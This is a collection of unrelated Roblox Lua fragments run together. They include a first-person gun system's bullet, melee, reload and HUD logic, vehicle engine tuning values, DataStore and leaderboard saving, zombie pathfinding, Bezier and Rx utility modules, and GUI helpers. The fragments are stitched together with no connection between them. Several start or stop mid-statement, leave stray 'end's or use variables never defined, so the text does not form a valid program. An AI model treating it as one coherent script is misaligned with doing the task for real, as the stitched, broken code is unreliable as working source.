Instance.new("BillboardGui", Bullet) bg.Adornee = Bullet bg.Enabled = false local flashsize = math.random(275, 375)/10 bg.Size = UDim2.new(flashsize, 0, flashsize, 0) bg.LightInfluence = 0 local flash = Instance.new("ImageLabel", bg) flash.BackgroundTransparency = 1 flash.Size = UDim2.new(1, 0, 1, 0) flash.Position = UDim2.new(0, 0, 0, 0) flash.Image = "http://www.roblox.com/asset/?id=1047066405" flash.ImageTransparency = math.random(2, 5)/15 flash.ImageColor3 = BColor spawn(function() wait(.1) if not Bullet:FindFirstChild("BillboardGui") then return; end; Bullet.BillboardGui.Enabled = true end) end end local BulletMass = Bullet:GetMass() local Force = Vector3.new(0,BulletMass * (196.2) - (WeaponData.BulletDrop) * (196.2), 0) local BF = Instance.new("BodyForce",Bullet) Bullet.CFrame = BulletCF Bullet:ApplyImpulse(Direction * WeaponData.MuzzleVelocity * ModTable.MuzzleVelocity) BF.Force = Force game.Debris:AddItem(Bullet, 5) CastRay(Bullet, Origin) end function meleeCast() local recast -- Set an origin and directional vector local rayOrigin = cam.CFrame.Position local rayDirection = cam.CFrame.LookVector * WeaponData.BladeRange local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = Ignore_Model raycastParams.FilterType = Enum.RaycastFilterType.Blacklist raycastParams.IgnoreWater = true local raycastResult = workspace:Raycast(rayOrigin, rayDirection, raycastParams) if raycastResult then local Hit2 = raycastResult.Instance --Check if it's a hat or accessory if Hit2 and Hit2.Parent:IsA('Accessory') then for _,players in pairs(game.Players:GetPlayers()) do if not players.Character then continue; end; for i, hats in pairs(players.Character:GetChildren()) do if not hats:IsA("Accessory") then continue; end; table.insert(Ignore_Model, hats) end end return meleeCast() end if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Glass" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2) return meleeCast() end if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2.Parent) return meleeCast() end if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then table.insert(Ignore_Model, Hit2) return meleeCast() end end if not raycastResult then return; end; local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance) HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) local HitPart = raycastResult.Instance if not FoundHuman or VitimaHuman.Health <= 0 then return; end; local SKP_02 = SKP_01.."-"..plr.UserId if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then Thread:Spawn(function() Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 1, WeaponData, ModTable, nil, nil, SKP_02) end) elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then Thread:Spawn(function() Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 2, WeaponData, ModTable, nil, nil, SKP_02) end) elseif HitPart.Name == "Right Arm" or HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then Thread:Spawn(function() Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 3, WeaponData, ModTable, nil, nil, SKP_02) end) end; end; function UpdateGui() if not SE_GUI or not WeaponData then return; end; local HUD = SE_GUI.GunHUD HUD.NText.Text = WeaponData.gunName HUD.BText.Text = WeaponData.BulletType HUD.A.Visible = SafeMode HUD.Att.Silencer.Visible = Suppressor HUD.Att.Bipod.Visible = BipodAtt HUD.Sens.Text = (Sens/100) if WeaponData.Jammed then HUD.B.BackgroundColor3 = Color3.fromRGB(255,0,0) else HUD.B.BackgroundColor3 = Color3.fromRGB(255,255,255) end if Ammo > 0 then HUD.B.Visible = true else HUD.B.Visible = false end if WeaponData.ShootType == 1 then HUD.FText.Text = "Semi" elseif WeaponData.ShootType == 2 then HUD.FText.Text = "Burst" elseif WeaponData.ShootType == 3 then HUD.FText.Text = "Auto" elseif WeaponData.ShootType == 4 then HUD.FText.Text = "Pump-Action" elseif WeaponData.ShootType == 5 then HUD.FText.Text = "Bolt-Action" end if WeaponData.EnableZeroing then HUD.ZeText.Visible = true HUD.ZeText.Text = WeaponData.CurrentZero .." m" else HUD.ZeText.Visible = false end if WeaponData.MagCount then HUD.SAText.Text = math.ceil(StoredAmmo/WeaponData.Ammo) HUD.Magazines.Visible = true HUD.Bullets.Visible = false else HUD.SAText.Text = StoredAmmo HUD.Magazines.Visible = false HUD.Bullets.Visible = true end if LaserAtt then HUD.Att.Laser.Visible = true if LaserActive then if IRmode then TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(0,255,0), ImageTransparency = .123}):Play() else TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play() end else TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play() end else HUD.Att.Laser.Visible = false end if TorchAtt then HUD.Att.Flash.Visible = true if TorchActive then TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play() else TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play() end else HUD.Att.Flash.Visible = false end if WeaponData.Type == "Grenade" then SE_GUI.GrenadeForce.Visible = true else SE_GUI.GrenadeForce.Visible = false end end function CheckMagFunction() if aimming then aimming = false ADS(aimming) end if SE_GUI then local HUD = SE_GUI.GunHUD TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{TextTransparency = 0,TextStrokeTransparency = 0.75}):Play() if Ammo >= WeaponData.Ammo then HUD.CMText.Text = "Full" elseif Ammo > math.floor((WeaponData.Ammo)*.75) and Ammo < WeaponData.Ammo then HUD.CMText.Text = "Nearly full" elseif Ammo < math.floor((WeaponData.Ammo)*.75) and Ammo > math.floor((WeaponData.Ammo)*.5) then HUD.CMText.Text = "Almost half" elseif Ammo == math.floor((WeaponData.Ammo)*.5) then HUD.CMText.Text = "Half" elseif Ammo > math.ceil((WeaponData.Ammo)*.25) and Ammo < math.floor((WeaponData.Ammo)*.5) then HUD.CMText.Text = "Less than half" elseif Ammo < math.ceil((WeaponData.Ammo)*.25) and Ammo > 0 then HUD.CMText.Text = "Almost empty" elseif Ammo == 0 then HUD.CMText.Text = "Empty" end delay(.25,function() TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,5),{TextTransparency = 1,TextStrokeTransparency = 1}):Play() end) end mouse1down = false SafeMode = false GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) UpdateGui() MagCheckAnim() RunCheck() end function Grenade() if GRDebounce then return; end; GRDebounce = true; GrenadeReady() repeat wait() until not CookGrenade; TossGrenade() end function TossGrenade() if not WeaponTool or not WeaponData or not GRDebounce then return; end; local SKP_02 = SKP_01.."-"..plr.UserId GrenadeThrow() if not WeaponTool or not WeaponData then return; end; Evt.Grenade:FireServer(WeaponTool,WeaponData,cam.CFrame,cam.CFrame.LookVector,Power,SKP_02) unset() end function GrenadeMode() if Power >= 150 then Power = 100 SE_GUI.GrenadeForce.Text = "Mid Throw" elseif Power >= 100 then Power = 50 SE_GUI.GrenadeForce.Text = "Low Throw" elseif Power >= 50 then Power = 150 SE_GUI.GrenadeForce.Text = "High Throw" end end function JamChance() if not WeaponData or not WeaponData.CanBreak or WeaponData.Jammed or Ammo - 1 <= 0 then return; end; local Jam = math.random(1000) if Jam > 2 then return; end; WeaponData.Jammed = true WeaponInHand.Handle.Click:Play() end function Jammed() if not WeaponData or WeaponData.Type ~= "Gun" or not WeaponData.Jammed then return; end; mouse1down = false reloading = true SafeMode = false GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) UpdateGui() JammedAnim() WeaponData.Jammed = false UpdateGui() reloading = false RunCheck() end function Reload() if WeaponData.Type == "Gun" and StoredAmmo > 0 and (Ammo < WeaponData.Ammo or WeaponData.IncludeChamberedBullet and Ammo < WeaponData.Ammo + 1) then mouse1down = false reloading = true SafeMode = false GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) UpdateGui() if WeaponData.ShellInsert then if Ammo > 0 then for i = 1,WeaponData.Ammo - Ammo do if StoredAmmo > 0 and Ammo < WeaponData.Ammo then if CancelReload then break end ReloadAnim() Ammo = Ammo + 1 StoredAmmo = StoredAmmo - 1 UpdateGui() end end else TacticalReloadAnim() Ammo = Ammo + 1 StoredAmmo = StoredAmmo - 1 UpdateGui() for i = 1,WeaponData.Ammo - Ammo do if StoredAmmo > 0 and Ammo < WeaponData.Ammo then if CancelReload then break end ReloadAnim() Ammo = Ammo + 1 StoredAmmo = StoredAmmo - 1 UpdateGui() end end end else if Ammo > 0 then ReloadAnim() else TacticalReloadAnim() end if (Ammo - (WeaponData.Ammo - StoredAmmo)) < 0 then Ammo = Ammo + StoredAmmo StoredAmmo = 0 elseif Ammo <= 0 then StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) Ammo = WeaponData.Ammo elseif Ammo > 0 and WeaponData.IncludeChamberedBullet then StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) - 1 Ammo = WeaponData.Ammo + 1 elseif Ammo > 0 and not WeaponData.IncludeChamberedBullet then StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) Ammo = WeaponData.Ammo end end CancelReload = false reloading = false RunCheck() UpdateGui() end end function GunFx() if Suppressor == true then WeaponInHand.Handle.Muzzle.Supressor:Play() else WeaponInHand.Handle.Muzzle.Fire:Play() end if FlashHider == true then WeaponInHand.Handle.Muzzle["Smoke"]:Emit(10) else WeaponInHand.Handle.Muzzle["FlashFX[Flash]"]:Emit(10) WeaponInHand.Handle.Muzzle["Smoke"]:Emit(10) end if BSpread then BSpread = math.min(WeaponData.MaxSpread * ModTable.MaxSpread, BSpread + WeaponData.AimInaccuracyStepAmount * ModTable.AimInaccuracyStepAmount) RecoilPower = math.min(WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower, RecoilPower + WeaponData.RecoilPowerStepAmount * ModTable.RecoilPowerStepAmount) end generateBullet = generateBullet + 1 LastSpreadUpdate = time() if Ammo > 0 or not WeaponData.SlideLock then TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,true,0), {C0 = WeaponData.SlideEx:inverse() }):Play() elseif Ammo <= 0 and WeaponData.SlideLock then TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0), {C0 = WeaponData.SlideEx:inverse() }):Play() end WeaponInHand.Handle.Chamber.Smoke:Emit(10) WeaponInHand.Handle.Chamber.Shell:Emit(1) end function Shoot() if WeaponData and WeaponData.Type == "Gun" and not shooting and not reloading then if reloading or runKeyDown or SafeMode or CheckingMag then mouse1down = false return end if Ammo <= 0 or WeaponData.Jammed then WeaponInHand.Handle.Click:Play() mouse1down = false return end mouse1down = true delay(0, function() if WeaponData and WeaponData.ShootType == 1 then shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() JamChance() UpdateGui() Thread:Spawn(Recoil) wait(60/WeaponData.ShootRate) shooting = false elseif WeaponData and WeaponData.ShootType == 2 then for i = 1, WeaponData.BurstShot do if shooting or Ammo <= 0 or mouse1down == false or WeaponData.Jammed then break end shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() JamChance() UpdateGui() Thread:Spawn(Recoil) wait(60/WeaponData.ShootRate) shooting = false end elseif WeaponData and WeaponData.ShootType == 3 then while mouse1down do if shooting or Ammo <= 0 or WeaponData.Jammed then break end shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() JamChance() UpdateGui() Thread:Spawn(Recoil) wait(60/WeaponData.ShootRate) shooting = false end elseif WeaponData and WeaponData.ShootType == 4 or WeaponData and WeaponData.ShootType == 5 then shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() UpdateGui() Thread:Spawn(Recoil) PumpAnim() RunCheck() shooting = false end end) elseif WeaponData and WeaponData.Type == "Melee" and not runKeyDown then if not shooting then shooting = true meleeCast() meleeAttack() RunCheck() shooting = false end end end local L_150_ = {} local LeanSpring = {} LeanSpring.cornerPeek = SpringMod.new(0) LeanSpring.cornerPeek.d = 1 LeanSpring.cornerPeek.s = 20 LeanSpring.peekFactor = math.rad(-15) LeanSpring.dirPeek = 0 function L_150_.Update() LeanSpring.cornerPeek.t = LeanSpring.peekFactor * Virar local NewLeanCF = CFrame.fromAxisAngle(Vector3.new(0, 0, 1), LeanSpring.cornerPeek.p) cam.CFrame = cam.CFrame * NewLeanCF end game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update) function RunCheck() if runKeyDown then mouse1down = false GunStance = 3 Evt.GunStance:FireServer(GunStance,AnimData) SprintAnim() else if aimming then GunStance = 2 Evt.GunStance:FireServer(GunStance,AnimData) else GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) end IdleAnim() end end function Stand() Stance:FireServer(Stances,Virar) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() SE_GUI.MainFrame.Poses.Levantado.Visible = true SE_GUI.MainFrame.Poses.Agaixado.Visible = false SE_GUI.MainFrame.Poses.Deitado.Visible = false if Steady then char.Humanoid.WalkSpeed = gameRules.SlowPaceWalkSpeed else if script.Parent:GetAttribute("Injured") then char.Humanoid.WalkSpeed = gameRules.InjuredWalksSpeed else char.Humanoid.WalkSpeed = gameRules.NormalWalkSpeed end end char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, true) local IsStanced = false end function Crouch() Stance:FireServer(Stances,Virar) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() SE_GUI.MainFrame.Poses.Levantado.Visible = false SE_GUI.MainFrame.Poses.Agaixado.Visible = true SE_GUI.MainFrame.Poses.Deitado.Visible = false if script.Parent:GetAttribute("Injured") then char.Humanoid.WalkSpeed = gameRules.InjuredCrouchWalkSpeed else char.Humanoid.WalkSpeed = gameRules.CrouchWalkSpeed end char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false) local IsStanced = true end function Prone() Stance:FireServer(Stances,Virar) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() SE_GUI.MainFrame.Poses.Levantado.Visible = false SE_GUI.MainFrame.Poses.Agaixado.Visible = false SE_GUI.MainFrame.Poses.Deitado.Visible = true if ACS_Client:GetAttribute("Surrender") then char.Humanoid.WalkSpeed = 0 else char.Humanoid.WalkSpeed = gameRules.ProneWalksSpeed end char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false) local IsStanced = true end function Lean() TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() Stance:FireServer(Stances,Virar) if Virar == 0 then SE_GUI.MainFrame.Poses.Esg_Left.Visible = false SE_GUI.MainFrame.Poses.Esg_Right.Visible = false elseif Virar == 1 then SE_GUI.MainFrame.Poses.Esg_Left.Visible = false SE_GUI.MainFrame.Poses.Esg_Right.Visible = true elseif Virar == -1 then SE_GUI.MainFrame.Poses.Esg_Left.Visible = true SE_GUI.MainFrame.Poses.Esg_Right.Visible = false end end
-- ScreenSpace -> WorldSpace. Taking a screen width, and a depth to put an object -- at, and returning a size of how big that object has to be to appear that size -- at that depth.
function ScreenSpace.ScreenToWorldByWidthDepth(x, y, screenWidth, depth) local aspectRatio = ScreenSpace.AspectRatio() local hfactor = math.tan(math.rad(workspace.CurrentCamera.FieldOfView)/2) local wfactor = aspectRatio*hfactor local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY() -- local worldWidth = (screenWidth/sx) * 2 * -wfactor * depth -- local xf, yf = x/sx*2 - 1, y/sy*2 - 1 local xpos = xf * -wfactor * depth local ypos = yf * hfactor * depth -- return Vector3.new(xpos, ypos, depth), worldWidth end
--[[for x = 1, 50 do s.Pitch = s.Pitch + 0.02 s:play() wait(0.001) end]]
for x = 50, 120 do s:play() wait(0.001) end for x = 50, 120 do s.Pitch = s.Pitch - 0.0020 s:play() wait(0.001) end wait() end
--// lighting
local lg = game:GetService("Lighting") local bm = lg:FindFirstChild("Bloom") local sr = lg:FindFirstChild("SunRays") local bl = lg:FindFirstChild("Blur") local cc = lg:FindFirstChild("ColorCorrection") bf.Text = "ALLOWED" -- set the state of the play jump if bf.Text == "DISABLED" then bf.BackgroundColor3 = Color3.new(1, 0, 0) bm.Enabled = false sr.Enabled = false bl.Enabled = false cc.Enabled = false end if bf.Text == "ALLOWED" then bf.BackgroundColor3 = Color3.new(0, 1, 0) bm.Enabled = true sr.Enabled = true bl.Enabled = true cc.Enabled = true end bf.MouseButton1Click:Connect(function() if bf.Text == "ALLOWED" then bf.Text = "DISABLED" -- custom command bf.BackgroundColor3 = Color3.new(1, 0, 0) bm.Enabled = false sr.Enabled = false bl.Enabled = false cc.Enabled = false elseif bf.Text == "DISABLED" then bf.Text = "ALLOWED" -- custom command #2 bf.BackgroundColor3 = Color3.new(0, 1, 0) bm.Enabled = true sr.Enabled = true bl.Enabled = true cc.Enabled = true end end)
--[[Engine]]
--Torque Curve Tune.Horsepower = 220 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[=[ If these is data not yet written then this will return true @return boolean ]=]
function DataStoreStage:HasWritableData() if self._dataToSave then return true end for name, store in pairs(self._stores) do if not store.Destroy then warn(("[DataStoreStage] - Substore %q destroyed"):format(name)) continue end if store:HasWritableData() then return true end end return false end
--[[ if your changing the DataStore name from LB to anything else you should change it inside the LeaderboardHandler too ]]
-- local leaderboardDS = ds:GetOrderedDataStore("LB") players.PlayerAdded:Connect(function(plr) local leaderstats = Instance.new("Folder") leaderstats.Name = "leaderstats" leaderstats.Parent = plr local Cash = Instance.new("NumberValue") Cash.Name = "Clicks" Cash.Parent = leaderstats local Gems = Instance.new("NumberValue") Gems.Name = "Gems" Gems.Parent = leaderstats local Rebirths = Instance.new("NumberValue") Rebirths.Name = "Rebirths" Rebirths.Parent = leaderstats end) while true do for i , v in pairs(players:GetPlayers()) do local succ , errmsg = pcall(function() -- saving the Coins value with the player's userid as the key leaderboardDS:SetAsync(v.UserId , v.leaderstats.Rebirths.Value) end) end -- recommend waiting for a longer time task.wait(10) end
--weldconstrain
function module.weldconstrain(base, part, tim) part.Anchored = false local weld = Instance.new("WeldConstraint") weld.Parent = base weld.Part0 = part weld.Part1 = base game.Debris:AddItem(weld, tim) end function module.w_weld(base, target, tim, cf1) local w = Instance.new("Weld") w.Parent = target w.Part0 = target w.Part1 = base local cf0 = target.CFrame local cf1 = cf1 or CFrame.new(0,10,0) * CFrame.Angles(0,math.rad(45),0) w.C0 = cf0:Inverse() w.C1 = cf1:Inverse() game.Debris:AddItem(w, tim) end return module
--> Connections ---[[
character.ChildAdded:Connect(function(newChild) if CollectionService:HasTag(newChild, "Gun") then SetupGUIForHeldGun(newChild) if #primaryWeaponSlot:GetChildren() == 0 then weapon1Label.BackgroundColor3 = onColor weapon1Label.Text = newChild.Name elseif #secondaryWeaponSlot:GetChildren() == 0 then weapon2Label.BackgroundColor3 = onColor weapon2Label.Text = newChild.Name end elseif CollectionService:HasTag(newChild, "Melee") then SetupGUIForHeldMelee(newChild) weapon3Label.BackgroundColor3 = onColor weapon3Label.Text = newChild.Name end end)
--
require(playerModule) script:WaitForChild("Loaded").Value = true
--[=[ @class TableUtil A collection of helpful table utility functions. Many of these functions are carried over from JavaScript or Python that are not present in Lua. Tables that only work specifically with arrays or dictionaries are marked as such in the documentation. :::info Immutability All functions (_except_ `SwapRemove`, `SwapRemoveFirstValue`, and `Lock`) treat tables as immutable and will return copies of the given table(s) with the operations performed on the copies. ]=]
local TableUtil = {} local HttpService = game:GetService("HttpService") local rng = Random.new()
-- Variables to store waypoints table and zombie's current waypoint
local waypoints local currentWaypointIndex local function followPath(destinationObject) -- Compute and check the path path:ComputeAsync(zombie.Position, destinationObject) -- Empty waypoints table after each new path computation waypoints = {} if path.Status == Enum.PathStatus.Success then -- Get the path waypoints and start zombie walking waypoints = path:GetWaypoints() -- Move to first waypoint currentWaypointIndex = 1 human:MoveTo(waypoints[currentWaypointIndex].Position) else -- Error (path not found); stop humanoid human:MoveTo(zombie.Position) end end local function onWaypointReached(reached) if reached and waypoints ~= nil and currentWaypointIndex ~= nil and currentWaypointIndex < #waypoints then currentWaypointIndex = currentWaypointIndex + 1 human:MoveTo(waypoints[currentWaypointIndex].Position) end end local function onPathBlocked(blockedWaypointIndex) -- Check if the obstacle is further down the path if blockedWaypointIndex > currentWaypointIndex then -- Call function to re-compute the path followPath(destination) end end
--Digits
local Digit1 = script.Parent.Digit1Part.SurfaceGui.TextLabel local Digit2 = script.Parent.Digit2Part.SurfaceGui.TextLabel local Digit3 = script.Parent.Digit3Part.SurfaceGui.TextLabel local Code = script.Parent.Code local EnteredCode = script.Parent.EnteredCode local Ready = script.Parent.Ready Digit1.Text = math.random(0,9) Digit2.Text = math.random(0,9) Digit3.Text = math.random(0,9) Code.Value = tostring(Digit1.Text)..""..tostring(Digit2.Text)..""..tostring(Digit3.Text) Ready = true
-- the constructor -- creates a new Bezier object with the given points added in order
function Bezier.new(...: Vector3 | BasePart) local self = setmetatable({}, Bezier) local args = {...} -- holds the points self.Points = {} -- length information self.LengthIterations = 1000 self.LengthIndeces = {} self.Length = 0 -- holds the connections from baseparts self._connections = {} -- iterate through given arguments for _, p in pairs(args) do if typeof(p) == "Vector3" or (typeof(p) == "Instance" and p:IsA("BasePart")) then self:AddBezierPoint(p) else error("The Bezier.new() constructor only takes in Vector3s and BaseParts as inputs!") end end -- returns the bezier object return self end
--[=[ Merges higher order observables together https://rxjs.dev/api/operators/switchAll Works like mergeAll, where you subscribe to an observable which is emitting observables. However, when another observable is emitted it disconnects from the other observable and subscribes to that one. @return (source: Observable<Observable<T>>) -> Observable<T> ]=]
function Rx.switchAll() return function(source) assert(Observable.isObservable(source), "Bad observable") return Observable.new(function(sub) local outerMaid = Maid.new() local topComplete = false local insideComplete = false local currentInside = nil outerMaid:GiveTask(function() -- Ensure inner subscription is disconnected first. This prevents -- the inner sub from firing while the outer is subscribed, -- throwing a warning. outerMaid._innerSub = nil outerMaid._outerSuber = nil end) outerMaid._outerSuber = source:Subscribe( function(observable) assert(Observable.isObservable(observable), "Bad observable") insideComplete = false currentInside = observable outerMaid._innerSub = nil outerMaid._innerSub = observable:Subscribe( function(...) sub:Fire(...) end, -- Merge each inner observable function(...) if currentInside == observable then sub:Fail(...) end end, -- Emit failure automatically function() if currentInside == observable then insideComplete = true if insideComplete and topComplete then sub:Complete() outerMaid:DoCleaning() -- Paranoid ensure cleanup. end end end) end, function(...) sub:Fail(...) -- Also reflect failures up to the top! outerMaid:DoCleaning() end, function() topComplete = true if insideComplete and topComplete then sub:Complete() outerMaid:DoCleaning() -- Paranoid ensure cleanup end end) return outerMaid end) end end
-- ROBLOX deviation END
exports.pluralize = require(script.pluralize).default exports.formatTime = require(script.formatTime).default
-- Extra stuff
FastCast.HighFidelityBehavior = { Default = 1, Always = 3 }
-- Prevent the value and checked attributes from syncing -- with their related DOM properties
exports.disableInputAttributeSyncing = true exports.warnAboutStringRefs = false exports.disableLegacyContext = false
-- Initialize Events
function Input:_listenForEvents () local e1 = UserInputService.InputBegan:connect (function (input, gameProcessed) -- if (gameProcessed) then return end self:_checkDown (input, true); end) local e2 = UserInputService.InputEnded:connect (function (input, gameProcessed) -- if (gameProcessed) then return end self:_checkDown (input, false); end) local e3 = UserInputService.InputChanged:connect (function (input, gameProcessed) -- if (gameProcessed) then return end self:_checkMouseMoved (input); end); local e4 = UserInputService.TouchMoved:connect (function (input, gameProcessed) -- if (gameProcessed) then return end self:_checkMouseMoved (input, true); end) self._events = {e1, e2, e3}; end
-- Set to 0 for no turbochargers
Tune.T_Boost = 13 Tune.T_Efficiency = 9 Tune.T_Size = 80 -- Turbo Size; Bigger size = more turbo lag
--[=[ Stops the timer. Will do nothing if the timer is already stopped. ```lua timer:Stop() ``` ]=]
function Timer:Stop() if not self._runHandle then return end self._runHandle:Disconnect() self._runHandle = nil end
-- AutoButtonColor doesn't always reset properly
function ResetButtonColor(button) local active = button.Active button.Active = not active button.Active = active end function ArrowGraphic(size,dir,scaled,template) local Frame = Create('Frame',{ Name = "Arrow Graphic"; BorderSizePixel = 0; Size = UDim2.new(0,size,0,size); Transparency = 1; }) if not template then template = Instance.new("Frame") template.BorderSizePixel = 0 end local transform if dir == nil or dir == 'Up' then function transform(p,s) return p,s end elseif dir == 'Down' then function transform(p,s) return UDim2.new(0,p.X.Offset,0,size-p.Y.Offset-1),s end elseif dir == 'Left' then function transform(p,s) return UDim2.new(0,p.Y.Offset,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end elseif dir == 'Right' then function transform(p,s) return UDim2.new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end end local scale if scaled then function scale(p,s) return UDim2.new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2.new(s.X.Offset/size,0,s.Y.Offset/size,0) end else function scale(p,s) return p,s end end local o = math.floor(size/4) if size%2 == 0 then local n = 